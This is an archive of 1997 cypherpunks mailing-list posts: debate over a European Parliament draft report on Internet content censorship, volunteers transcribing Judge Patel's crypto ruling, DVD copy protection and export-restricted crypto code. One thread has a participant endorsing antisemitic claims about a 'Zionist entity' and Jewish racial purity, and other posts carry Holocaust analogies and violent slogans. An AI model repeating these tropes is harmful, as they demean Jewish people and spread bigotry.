ARMENIAN, RUSSIAN PRESIDENTS SIGN TREATY. Levon Ter-
Petrossyan and Yeltsin, meeting on the second day of Ter-
Petrossyan's state visit to Moscow, signed a treaty on friendship,
cooperation, and mutual assistance, Russian media reported on 29
August. Yeltsin commented that the treaty "meets the vital and
lasting interests of the two states." The two leaders also signed
several agreements, including on the transit of oil across Armenia.

*************
K chemu by eto?

----- End of forwarded message from nikst -----


	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Sat, 30 Aug 1997 07:25:58 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Feasibility of censoring and jamming pronography and racism in informatics
Message-ID: <m0x4X7j-0003bFC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



A European parliament study evaluating `Feasibility of censoring and
jamming pronography and racism in informatics':

"SUBSCRIBER PROTECTION: In this scenario [...] it would be necessary
for access providers to use firewall and PICS technology (in some
instances implemented with in proxy applications) to implement a
management regime consistent with provisions for protection of society
as in other media, ie media parity. Implementation on this basis would
be necessary to ensure subscribers could not tamper with management
settings. The impact of implementing the necessary technology on the
operating economics of access providers appears to be small. That
technologies of these types have already been employed by access
provider organisations [...] could potentially be considered to
confirm this."


From: kris@koehntopp.de (=?ISO-8859-1?Q?Kristian_K=F6hntopp?=)
Newsgroups: de.soc.zensur

Europarl: STOA Homepage
http://www.europarl.eu.int/dg4/stoa/en/default.htm 

Europarl: STOA Publications
http://www.europarl.eu.int/dg4/stoa/en/publi/publi.htm 

Europarl: STOA Workplan 1996
http://www.europarl.eu.int/dg4/stoa/en/wp96.htm 

A. Information and telecommunications policy options

A.LP.2 INTERNET AND MULTIMEDIA IN THE INFORMATION SOCIETY (In
       cooperation with the specific research programme of
       DGIV: REX/Internal Market/New technology/STOA)

       Sub-projects:
       
       (iv) Technical feasibility of jamming or censoring
	    pornography and racism in informatics - Civil
	    liberties

------------------------------------------------------------------------------

STOA
European Parliament

* Batiment Schuman
  Bureau 4/82
  L-2929 Luxembourg
  Luxembourg
  Phone: +352 4300-2511
  Fax: +352 4300-2418

* Batiment Eastman
  Bureau 113
  B-1047 Brussels
  Belgium
  Phone: +322 284-3747
  Fax: +322 284-9059

Email the STOA Team in Luxembourg at _STOA@europarl.eu.int_
Email the STOA Team in Brussels at _ksercu@europarl.eu.int_
------------------------------------------------------------------------------


This document is a working Document for the 'STOA Panel'. It is
not an official publication of the STOA.

This document does not necessarily represent the views of the
European Parliament.



Feasibility of censoring and jamming pronography and racism in informatics
			***DRAFT*** Final Report

Luxembourg, May 1997,  PE number: 166 658

<del del del>

7 Conclusions

7.1 Technical Feasibility

7.1.1 The central question posed to this study is whether it is
      technically feasible to use the content managment
      technology to censor and jam pornography and racism on
      the Internet.

7.1.2 It is concluded that available technology does no and is
      not likely to provide any satisfactory means for
      automatically classifying such material. Such judgements
      will therefore have to be made by humans.

7.1.3 Once such judgements are made, however, technology
      provides for these judgements to be distributed and used
      by content managment systems to make the following
      content managment actions feasible (in principle) to a
      high degree:

      - subscriber choice, in that individuals can choose the
        extent to which they permit or exclude such material on
	their own behalf or on behalf of others for whom they
	have responsibility;

      - subscriber protection, in that precautions against
        unintentional or unsolicited exposure to such material
	can be implemented as defined by statute or other form
	of code or regulation;

      - prevention of Internet abuse, in that it is possible to
        detect the exchange of such material within closed
	groups of offenders to a very substantial extent;

      - detection of offenders, in that offenders can be
        identified when offences have been detected or notified
	involving sites and services where the user has
	explicitly authenticated identity;

      - flexible and multi-cultural implementation of content
        management, in that content management policies can be
	defined:

	- to meet the requirements of very small subscriber
	  groups, eg. selected subscribers or a selected group
	  of terminals;

	- differentially for different types of Internet
	  service, eg Web access and e-mail;

	- to meet the needs of one culture with respect to the
	  material originating from another without the
	  cooperation of the originator;


7.1.4 The principal technical limitations in these capabilities
      are:

      - automated content classification systems can not,
	because of the complexity of legal definitions, identify
	Internet content to be racist, pornographic, illegal or
	harmful - hence this classification must be made by
	human judgement;

      - the potential flexibility and coverage offered by the
        technology can not be achieved in full, at present,
	because

	- currently implementations of the key technology
	  (PICS) in Internet applications is incomplete and
	  hence the ratings information can not yet be used to
	  manage all types of Internet content explicitly;

	- ratings databases are currently incomplete in terms
	  of the types of service they consider and the full
	  range of Internet services available;

      - it can not be absolutely guaranteed that Internet
        anonymity services can not be used to frustrate
	detection of offenders in certain circumstances.

7.1.5 The principal practical issues involved in implementing
      these technologies are:

      - defining rating systems which are sufficiently explicit
        regarding content managment requirements to allow
	automatic content management whilst still being:

	- practical to apply to large volumes of information;

	- meaningful outside the culture in which they are
	  originally applied;

      - funding the large effort required to categorise the
        huge and growing volumes of Internet content.

7.2 Implications of policy scenarios

7.2.1 The study investigated the following policy scenarios:

      Subscriber choice

7.2.2 In this scenario, essentially the status quo, subscribers
      would either coose to exercise explicit controls over
      their Internet experience, eg through the use of parental
      control software, or not. Potentially, subscribers could
      elect to implement management regimes consistent with
      privision for protection of society as in other media, ie
      to provide media parity, but this could not be enforced.

7.2.3 Currently, the technical capability of these products is
      increasing as vendors invest in the development of new
      facilities. In the longer term, however, it is not clear
      that the current subscriber uptake of such tools (on a
      purely discretionary basis) will sustain their
      development or the maintenance of databases upon which
      they depend on a long term basis.

7.2.4 The principal social objection to this policy scenario is
      that it does not in any way act to reduce abuse either on
      the Internet or in the 'real' world. The principal legal
      issue which arises is that it does not provide for media
      parity.

      Subscriber protection

7.2.5 In this scenario, subscribers would continue to have the
      option to exercise management controls accordings to
      their preferences - potentially including screening
      unsolicited communications from 'strangers' or anonymous
      sites. In addition, however, it would be necessary for
      access providers to use firewall and PICS technology (in
      some instances implemented with in proxy applications) to
      implement a management regime consistent with provisions
      for protection of society as in other media, ie media
      parity. Implementation on this basis would be necessary
      to ensure subscribers could not tamper with management
      settings.

7.2.6 The impact of implementing the necessary technology on
      the operating economics of access providers appears to be
      small. That technologies of these types have already been
      employed by access provider organisations (without
      discernible impact on end-user charges) could potentially
      be considered to confirm this.

7.2.7 The principal legal issues which arise in this scenario
      are:

      - the liabilities of those who apply labels to content
        provided by others;

      - the liabilities of those who are charged with
        implementing content management on the basis of labels
	applied by others;

      - the potential for content labelling providing a legal
        obstacle to free trade.

7.2.8 These legal issues potentially have substantial social
      impact in that:

      - if liabilities are potentially large, those who accept
        them, either through compiling ratings databases or
	providing Internet access service, are likely to be
	very conservative with respect to the material with
	which they will deal;

      - international e-commerce in certain services may be
        compromised by nations exploiting differences in
	ratings procedures as a pretext for blocking material
	originating from other countries.

      Preventing Internet abuse
      
7.2.9 It is concluded that only implementation of the most
      intrusive surveillance technology could be exspected to
      impact heavily upon abuse of the Internet on committed
      offenders (because of their ready access to strong
      encryption and covert communication technologies). To
      enable this policy scenario, it would be necessary for
      access providers to constrain the equipment used by
      subscribers to access the Internet to be such that:

      - no content could be removed;

      - all content and processing could be subject to
        automatic and manual surveillance.

7.2.10 The technical and economic feasibility of the necessary
      technology is evidenced by the emergence, with purely
      commercial motivations, of technical systems which privde
      the basic facilities required to implement the necessary
      measures. It is notes that this coincidental emergence of
      such systems may raise siginificant privacy issues
      outside of the scope of this study. The economics of
      manual surveillance, however, can not be assessed.

7.2.11 This technical approach is, however, completely
      non-specific in the terms of the subject of censorship
      which could be implemented and in the scope of
      (potentially private) material to which surveillance
      access would be required. It therefore seems highly
      unlikely that, when the commercial implications, legal
      obstacles and social objections are considered,
      application of this technology in this way can be
      considered a proportionate general response.

7.2.12 Finally, it seems highly probable that the principal of
      impact of implementation of these measures, if they were
      to be implemented generally and were found to be
      effective, would be to displace abuse to other
      communications means.

      Detecting offenders
      
7.2.13 If access providers and service providers maintain
      proper subscriber authentication systems and system
      management environments, offending actions at the site to
      which the subscriber authenticates can be traced to the
      offender. Detection of offenders committing offences 'at
      a distance' (ie a subscriber in a country committing an
      offence in another), however, would require:

      - access and service providers to take steps to ensure
        subscriber identity information is carried in their
	transmissions;

      - monitoring of services provided on the Internet to
        prevent subscribers misusing anonymity services to
	remove such information.

7.2.14 Whilst a variety of means exist to attach identity
      information, detection of anonymity services is not
      straightforward. However, monitoring such services would
      be exspected to limit the number available for overt, eg
      to transmit offensive material to innocent parties,
      offensive use.

7.2.15 Legally, handling offences detected through voluntary
      authentication would be relatively straightforward as the
      offending subscriber would be resident in the country
      where the offence was committed. However, offences can
      only be detected through forced identification, ie those
      committed 'at a distance', would currently be subject to
      extradition arrangements and it is not clear that new
      opportunities for prosecution would arise in practice.
      Meanwhile, it may be that the social implications of
      forced and general identification of Internet subscribers
      would leave subscribers open to a variety of forms of
      intrusion on privacy and discrimination.

7.3. Options for action at Member State level

7.3.1 It is concluded that, in technical terms, Member States
      could implement combinations of the technical measures
      identified in this report according to their own
      perceptions of harm and proportionality of response in
      accordance with principles of media parity. This could,
      technically, be achieved without the cooperation of any
      external party and provide for different levels of
      content management according the
      requirements/vulnerabilities of individual subscriber
      groups.

7.3.2 The principal potential implications for a member state
      adopting measures at variance with international norms
      would be:

      - obtacles to free trade, including possible infringement
        of Single Market requirements;

      - reduced availability of Internet content;

      - having to bear the costs of maintaining classifications
        of Internet content alone.

7.4   Options for action at European level

7.4.1 It is concluded that cooperation at the European level
      could mitigate the implications of uni-lateral action by
      Member States if action were taken to establish a common
      content management system. This would comprise:

      - technical standards in the definition of rating systems
        to minimise costs of researching Internet content and
	spread them over the largest possible population;

      - regulations for harmonisation in the application of
        agreed standards to ensure that their use did not lead
	to artifical obstacles in trade;

      - technical standards in the implementation of content
        selection mechanisms in Internet applications to ensure
	that ratings information can be used in a consistent
	and appropriate way.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 30 Aug 1997 14:22:15 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Feasibility of censoring and jamming pronography and racismin informatics
In-Reply-To: <m0x4X7j-0003bFC@ulf.mali.sub.org>
Message-ID: <v03102801b02d6923acd0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:54 PM -0700 8/29/97, Ulf Möller wrote:
>A European parliament study evaluating `Feasibility of censoring and
>jamming pronography and racism in informatics':
>
>"SUBSCRIBER PROTECTION: In this scenario [...] it would be necessary
>for access providers to use firewall and PICS technology (in some
>instances implemented with in proxy applications) to implement a
>management regime consistent with provisions for protection of society
>as in other media, ie media parity. Implementation on this basis would
...
>	- currently implementations of the key technology
>	  (PICS) in Internet applications is incomplete and
>	  hence the ratings information can not yet be used to
>	  manage all types of Internet content explicitly;


Well, so much for PICS being "voluntary." It seems the Euro-fascists are
already planning to incorporate it as a control mechanism.

(But, then, only fools thought PICS would be a "voluntary" self-ratings
system. It will by the Zyklon-B of the German-French-British information
Holocaust. And the United States will of course also try to implement this.
Only the recent "setbacks" in crypto laws--Bernstein, Denning's cold feet,
Clinton's troubles, Ruby Ridge prosecution, etc.--give me any comfort. )

The rest of what Ulf forwarded shows just how deeply the Europeans have
been infected. It needs to be monkeywrenched.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 30 Aug 1997 14:38:04 +0800
To: cypherpunks@Algebra.COM
Subject: Quote of the day (fwd)
Message-ID: <3.0.2.32.19970829232904.02f86e58@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



When is X-Day supposed to be?

>----- Forwarded message from Quote of the day -----
>
>"I know the day it happens.  On August 29, 1997 it's going to feel
> pretty fucking real to you too.  Anybody not wearing two million sun
> block is going to have a real bad day.  Get it?"
>
> - Sarah Conner (played by Linda Hamilton), in Terminator 2: Judgement
>   Day, offers a cheery thought for today.  [In the film, an unfortunate
>   computer glitch leads to the near-destruction of the Earth on this
>   day. -ed.]
>
>    Submitted by: "D. Joseph Creighton" <djc@cc.UManitoba.CA>
>                  Aug. 27, 1997
>       --------------------------------------------------------------
>            Send quotation submissions to qotd@ensu.ucalgary.ca
>       Send list changes or requests to qotd-request@ensu.ucalgary.ca
>
>----- End of forwarded message from Quote of the day -----
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Sat, 30 Aug 1997 14:42:24 +0800
To: gnu@toad.com
Subject: Re: Want to help put Judge Patel's decision on the web?
In-Reply-To: <199708292351.QAA23568@toad.com>
Message-ID: <199708300631.XAA29629@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks for the great response, folks!!  So far we have about half the
pages covered.  Here is the ones we don't yet have.  Pick one at
random, if you want to help; see my previous message for details.

Still needed:  7 8  10 11 13 14 15 16 18  20 21 23 28 29  30 31 32 34 35

Thanks again!

	John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sat, 30 Aug 1997 11:40:46 +0800
Subject: Re: Feasibility of censoring and jamming pronography and racism in informatics
Message-ID: <199708300333.XAA19281@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 8/29/97 3:54 PM, Ulf Möller (3umoelle@informatik.uni-hamburg.de) 
passed this wisdom:

>... to implement a
>management regime consistent with provisions for protection of
society

  these are the words that scare the shit out of me ... so innocuous,
so high moral sounding, no one can argue with that as the
justification to do just about anything ... but just look at our (we
humans) track record with regards to that argument ... shudder!

>... Implementation on this basis would
>be necessary to ensure subscribers could not tamper with management
>settings. 

   .... fat chance ... the only good thing about such a system is its
appeal to my childish love to go after anything someone says is
'unbreakable!'

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNAeUccdZgC62U/gIEQIEyACfXEDDmFUUKZdP3a/EZM6QZ1EFZtgAoKRN
f2b0LIvTOII4CBAJt3RkYhzi
=yUII
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
        For PGP Keys -  Send Email Subject "Get PGP Key"
  "One of the deep mysteries to me is our logo, the symbol of lust
   and knowledge, bitten into, all crossed with in the colors of the
   rainbow in the wrong order. You couldn't dream of a more 
   appropriate logo: lust, knowledge, hope, and anarchy."
   -- Gassee - Apple Logo






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <rich@paranoid.org>
Date: Sat, 30 Aug 1997 14:46:07 +0800
To: cypherpunks@Algebra.COM
Subject: Kevin Mitnick RC5 Crack team - Join Us
Message-ID: <Pine.LNX.3.95.970829233845.31066A-100000@paranoid.org>
MIME-Version: 1.0
Content-Type: text/plain



Have your CPU fight for justice in it's spare time!

Some of the folks from the mitnick@2600.com mailing list have set up an
RC5 team in hopes of generating awareness about Kevin Mitnick's ordeal and
possibly some cash for his defense.

Details are at our site:

http://www.paranoid.org/mitnick/

The site has more info about Mitnick and the RC5 crack if you're not
familiar, as well as a gallery of graphics & banners you can put on your
own site to show your support.  We hope to have a stats page up soon.

We're registered at both www.distributed.net and www.cyberian.org ...
give us a hand!








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sat, 30 Aug 1997 12:01:02 +0800
To: <cypherpunks@cyberpass.net>
Subject: Re: need confirmation of DVD/CSS crack in China ...
Message-ID: <199708300354.XAA19505@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 8/29/97 1:44 AM, Lucky Green (shamrock@netcom.com)  passed this wisdom:

>I fail to see how you can prevent copying an entire disk. If the controller
>can access the data, I can copy it. Unless of course it will be made
>illegal to sell DVD controllers that output the raw data stream.
>
>Come to think of it, that must be coming.

   'security through obscurity' has/will never work. All it takes is one 
good reverse engineer and presto, the secret is out and 'unlocked' 
controller will be available above or under ground! The process could be 
slowed down by keeping the price of DVD writers high, but we saw how long 
that worked for both DAT and CD-R. Hell CD-Rs are now available for less 
than CD readers were three years ago.


Brian B. Riley --> http://www.macconnect.com/~brianbr
     For PGP Keys -  Send Email Subject "Get PGP Key"
  "The first 75% of the project takes 90% of the time;
  the last 15% of the project takes the other 90% of the
  time. -- Barry Wainwright and numerous ofthe engineers






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sat, 30 Aug 1997 12:13:58 +0800
To: "Tim May" <cypherpunks@Algebra.COM>
Subject: Re: Shrinks as Narcs for the State
Message-ID: <199708300404.AAA31538@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 8/29/97 2:26 AM, Tim May (tcmay@got.net)  passed this wisdom:

>Further, those who visit doctors and shrinks are at risk for other
reasons.
>The State has decreed that they "narc out" (inform on) their
patients. Cf.
>Tarasoff, for example, which requires a mental health care
professional,
>counselor, or doctor to inform the State if a client makes certain
kinds of
>threats. This threat may cause the client to be locked up for
observation.

 I have a close friend who is a therapist on several occasions had the
state and insurance companies try to force disclosure of materials on
certain patients. It has created such a dilemma that this person had
consulted with me to come up with not just encryption solutions but
steganographic solutions as well so that if this person's computer is
subpoenaed (sp?) they won't know what to look at/for. At the time, I
though the person was over-reacting, but in the ensuing eighteen
months, I am not so sure.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNAeb2sdZgC62U/gIEQKidwCfdXjHOm/hwkkk2aSaG/Y6/dwwC3UAoLNG
lscH2PKWudPOTKM8ifo1JJUQ
=tu6w
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
       For PGP Keys -  Send Email Subject "Get PGP Key"
 "It would take an archimedean fulcrum to raise you to the level of
  total depravity" --Thomas E. Carney, ca. 1920






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 30 Aug 1997 15:21:12 +0800
To: Mike Duvos <cypherpunks@cyberpass.net
Subject: Re: Fate of Jews in America (fwd)
In-Reply-To: <19970830034359.3947.qmail@zipcon.net>
Message-ID: <v03102802b02d76b4dcad@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:47 PM -0700 8/29/97, Mike Duvos wrote:

>Extinction is a species concept.  Human beings, not human beings of Jewish
>extraction or belief, are the species here.  Therefore Jews cannot become
>"extinct," any more than people who like pretzels can become "extinct."
>
>Certain memes passed down by self-identified practitioners of the Jewish
>faith may become extinct, but that is another issue entirely.

The only interpretation that makes sense is that certain persons with
"Jewish" blood are worried that their "race" is being polluted by non-Jew
blood. Else why worry that intermarriage (miscegenation) is occurring?

If a Nordic or Germanic or Aryan person were to write the same editorial in
"The Washington Times" about his or her race, it would be laughed off as a
racist paranoid fantasy.


>It isn't?  What about the traitor Pollard, who has a fat pension and a
>comfortable lifestyle waiting for him in the Zionist entity, should the US
>government ever be so foolish as to let him out of prison.
>
>How many more Pollards has Zionist propaganda produced, who would do
>anything the Zionist entity commanded, to further its cause?
>
>Why do we continue to pour money into a self-declared country whose hidden
>agenda is to steal more of its neighbors' land, whose ideological
>orientation is blatantly racist, whose Supreme Court has ruled that
>torture is a legitimate means of interrogation, and which used to sing the
>praises of pre-democratic South Africa as the kind of society it wished to
>emulate?
>
>What was it Jim Baker said?

I don't know, but I certainly agree with your points about the Zionist
Entity. Of course.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jeanne A. E. DeVoto" <jaed@best.com>
Date: Sat, 30 Aug 1997 15:37:53 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Feasibility of censoring and jamming pronography and racism in informatics
In-Reply-To: <m0x4X7j-0003bFC@ulf.mali.sub.org>
Message-ID: <v03007800b02d7abe0879@[206.163.82.166]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:17 PM -0700 8/29/97, Tim May wrote:
>At 12:54 PM -0700 8/29/97, Ulf Möller wrote:
>>"SUBSCRIBER PROTECTION: In this scenario [...] it would be necessary
>>for access providers to use firewall and PICS technology (in some
>>instances implemented with in proxy applications)
["protection of society" yadda yadda]
>
>Well, so much for PICS being "voluntary." It seems the Euro-fascists are
>already planning to incorporate it as a control mechanism.
>
>(But, then, only fools thought PICS would be a "voluntary" self-ratings
>system.

You forgot firewalls, Tim. Only fools thought firewalls would be voluntary.

Also, proxy servers. So much for proxy-server technology being "voluntary";
pity the poor fools who claimed it had legitimate applications and should
not be banned because of the probability that it would also be used for
immoral purposes such as censorship.

(Not that I disagree with you about the Europeans, or at least those who
wrote this document. This paragraph was particularly interesting:
"The principal social objection to this policy scenario [i.e. people
deciding for themselves what they want to see and read] is that it does not
in any way act to reduce abuse [by which the authors appear to mean
'publication of content they consider offensive'] either on the Internet or
in the 'real' world."
Seldom does one see so clearly laid out the reasons for opposition to
personal freedom: letting people make their own choices Doesn't Punish
Those with Bad Ideas.)

--
"I'm from the government, and I'm here to help you recover your keys."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sat, 30 Aug 1997 15:44:18 +0800
To: John Gilmore <gnu@toad.com>
Subject: Patel Decision Pages 13, 14, 15, 16 On Their Way
Message-ID: <3.0.32.19970830003307.012d27b4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




>Still needed:  7 8  10 11 13 14 15 16 18  20 21 23 28 29  30 31 32 34 35
>
>Thanks again!
>
>	John
...............................
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 30 Aug 1997 15:52:29 +0800
To: Bill Stewart <cypherpunks@Algebra.COM
Subject: Re: Quote of the day (fwd)
In-Reply-To: <3.0.2.32.19970829232904.02f86e58@popd.ix.netcom.com>
Message-ID: <v03102803b02d7fc5fe19@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:29 PM -0700 8/29/97, Bill Stewart wrote:
>When is X-Day supposed to be?
>
>>----- Forwarded message from Quote of the day -----
>>
>>"I know the day it happens.  On August 29, 1997 it's going to feel
>> pretty fucking real to you too.  Anybody not wearing two million sun
>> block is going to have a real bad day.  Get it?"
>>
>> - Sarah Conner (played by Linda Hamilton), in Terminator 2: Judgement
>>   Day, offers a cheery thought for today.  [In the film, an unfortunate
>>   computer glitch leads to the near-destruction of the Earth on this
>>   day. -ed.]
>>
>>    Submitted by: "D. Joseph Creighton" <djc@cc.UManitoba.CA>
>>                  Aug. 27, 1997
>>       --------------------------------------------------------------
>>            Send quotation submissions to qotd@ensu.ucalgary.ca
>>       Send list changes or requests to qotd-request@ensu.ucalgary.ca
>>
>>----- End of forwarded message from Quote of the day -----

I don't know what you mean by "When is X-Day supposed to be?"

The quote is self-explanatory. August 29th, 1997, yesterday, was the date
in the quote.

Where is this "X-Day" in the section you quoted?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 30 Aug 1997 08:26:05 +0800
To: jya@pipeline.com
Subject: Re: Snuffle Availability
In-Reply-To: <1.5.4.32.19970829180857.00e5ebd8@pop.pipeline.com>
Message-ID: <199708300018.BAA06456@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




There's another one which has been at:

	ftp://idea.sec.dsi.unimi.it/pub/crypt/code/snuffle.tar.gz

for a long time.

Actually if you point a browser at:

	ftp://idea.sec.dsi.unimi.it/pub/crypt/
	
you'll find a fine collection of mirrors of whole not-for-export sites
replete with DO_NOT_EXPORT warnings etc, plus many other illegally
exported stuff.

I love the Italians respect for export laws.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Caputo <ccaputo@alt.net>
Date: Sat, 30 Aug 1997 17:14:20 +0800
To: cypherpunks@toad.com
Subject: Re: Want to help put Judge Patel's decision on the web?
In-Reply-To: <Pine.BSI.3.93.970829181313.253J-100000@baklava.alt.net>
Message-ID: <Pine.BSI.3.93.970830020402.25697C-100000@baklava.alt.net>
MIME-Version: 1.0
Content-Type: text/plain



Patel decision page 28 handled.

Chris





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Caputo <ccaputo@alt.net>
Date: Sat, 30 Aug 1997 17:24:09 +0800
To: cypherpunks@toad.com
Subject: Re: Want to help put Judge Patel's decision on the web?
In-Reply-To: <Pine.BSI.3.93.970830020402.25697C-100000@baklava.alt.net>
Message-ID: <Pine.BSI.3.93.970830021455.25697E-100000@baklava.alt.net>
MIME-Version: 1.0
Content-Type: text/plain



Patel decision page 29 handled.

Chris





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Caputo <ccaputo@alt.net>
Date: Sat, 30 Aug 1997 17:29:57 +0800
To: cypherpunks@toad.com
Subject: Re: Want to help put Judge Patel's decision on the web?
In-Reply-To: <Pine.BSI.3.93.970830021455.25697E-100000@baklava.alt.net>
Message-ID: <Pine.BSI.3.93.970830022047.25697G-100000@baklava.alt.net>
MIME-Version: 1.0
Content-Type: text/plain



Patel decision page 32 handled.

Chris






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Caputo <ccaputo@alt.net>
Date: Sat, 30 Aug 1997 17:42:19 +0800
To: cypherpunks@toad.com
Subject: Re: Want to help put Judge Patel's decision on the web?
In-Reply-To: <Pine.BSI.3.93.970830022047.25697G-100000@baklava.alt.net>
Message-ID: <Pine.BSI.3.93.970830023225.25697I-100000@baklava.alt.net>
MIME-Version: 1.0
Content-Type: text/plain



Patel decision page 30 handled.

Chris





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sat, 30 Aug 1997 17:44:00 +0800
To: cypherpunks@cyberpass.net
Subject: Patel Decision:  Page 18  handled
Message-ID: <3.0.32.19970830024001.012dc5e4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Caputo <ccaputo@alt.net>
Date: Sat, 30 Aug 1997 17:54:04 +0800
To: cypherpunks@toad.com
Subject: Re: Want to help put Judge Patel's decision on the web?
In-Reply-To: <Pine.BSI.3.93.970830023225.25697I-100000@baklava.alt.net>
Message-ID: <Pine.BSI.3.93.970830024323.25697K-100000@baklava.alt.net>
MIME-Version: 1.0
Content-Type: text/plain



Patel decision page 31 handled.

Chris





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sat, 30 Aug 1997 10:31:13 +0800
To: cypherpunks@toad.com
Subject: Patel decision page 19 handled
Message-ID: <199708300145.CAA02333@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Patel decision page 19 handled

--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
#### !!! PGP 5.0 beta available now at ftp.replay.com !!! ####





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: miner <miner333@dogbert.xroads.com>
Date: Sat, 30 Aug 1997 20:07:56 +0800
To: cypherpunks@toad.com
Subject: patel pages 34 & 35 done
Message-ID: <Pine.BSI.3.96.970830045743.2736B-100000@dogbert.xroads.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 30 Aug 1997 17:38:18 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <5296a79d3830cbedb8a19f5a4b2b4e8a@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



The metallic custard scent ripped through the 
stegosaurus' nostrils.  Clearly, the monotreme 
journey it would begin as it had ended.

The ponder-tree hung itself in the heavy air, 
it's sap becomming purple, and flowed engimatically 
like a river of broken curves and powdered eggshells.

